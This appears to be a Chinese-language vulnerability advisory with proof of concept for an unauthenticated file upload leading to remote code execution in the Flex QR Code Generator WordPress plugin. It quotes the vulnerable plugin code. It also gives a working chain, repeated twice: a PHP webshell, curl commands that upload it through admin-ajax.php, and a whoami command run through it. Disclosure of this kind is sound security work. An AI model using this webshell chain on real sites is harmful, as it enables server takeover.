Flex QR Code Generator 插件未能验证用户权限或清理文件上传,在其 update_qr_code AJAX 端点中,允许未认证攻击者上传任意文件(包括可执行 PHP 脚本),导致远程代码执行。
# 上传 PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-F "action=flexqr_update_qr" \
-F "qrId=1" \
-F "qrData={\"data\":\"https://example.com\"}" \
-F "[email protected]"
漏洞存在于 FlexQrCodeGenerator 类的 update_qr_code 方法中。该插件为未认证用户注册了 AJAX 端点,允许任何访客上传任意文件,这些文件会被存储到 WordPress 的上传目录中。
漏洞代码 来自 /qr-code-generator.php:457-589:
public function update_qr_code()
{
if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
// ... validation code ...
// Handle the logo (file upload)
if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
$logo = $_FILES['logo'];
$upload_dir = wp_upload_dir();
$file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
$file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
$new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
$file_path = $upload_dir['path'] . '/' . $new_file_name;
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
// File uploaded successfully
}
}
}
}
文件执行 来自 /qr-code-generator.php:504:
if (move_uploaded_file($logo['tmp_name'], $file_path)) {
$logo_url = $upload_dir['url'] . '/' . $new_file_name;
$logo_url = str_replace(home_url(), '', $logo_url);
$update_data['logo_url'] = $logo_url;
}
未认证访问 来自 /qr-code-generator.php:41-42:
add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-d "action=flexqr_fetch_qr_code" \
-d "per_page=10" \
-d "page=1"
echo '<?php system($_GET["cmd"]); ?>' > shell.php
curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
-F "action=flexqr_update_qr" \
-F "qrId=1" \
-F "qrData={\"data\":\"https://example.com\"}" \
-F "[email protected]"
shell_1.php?cmd=whoami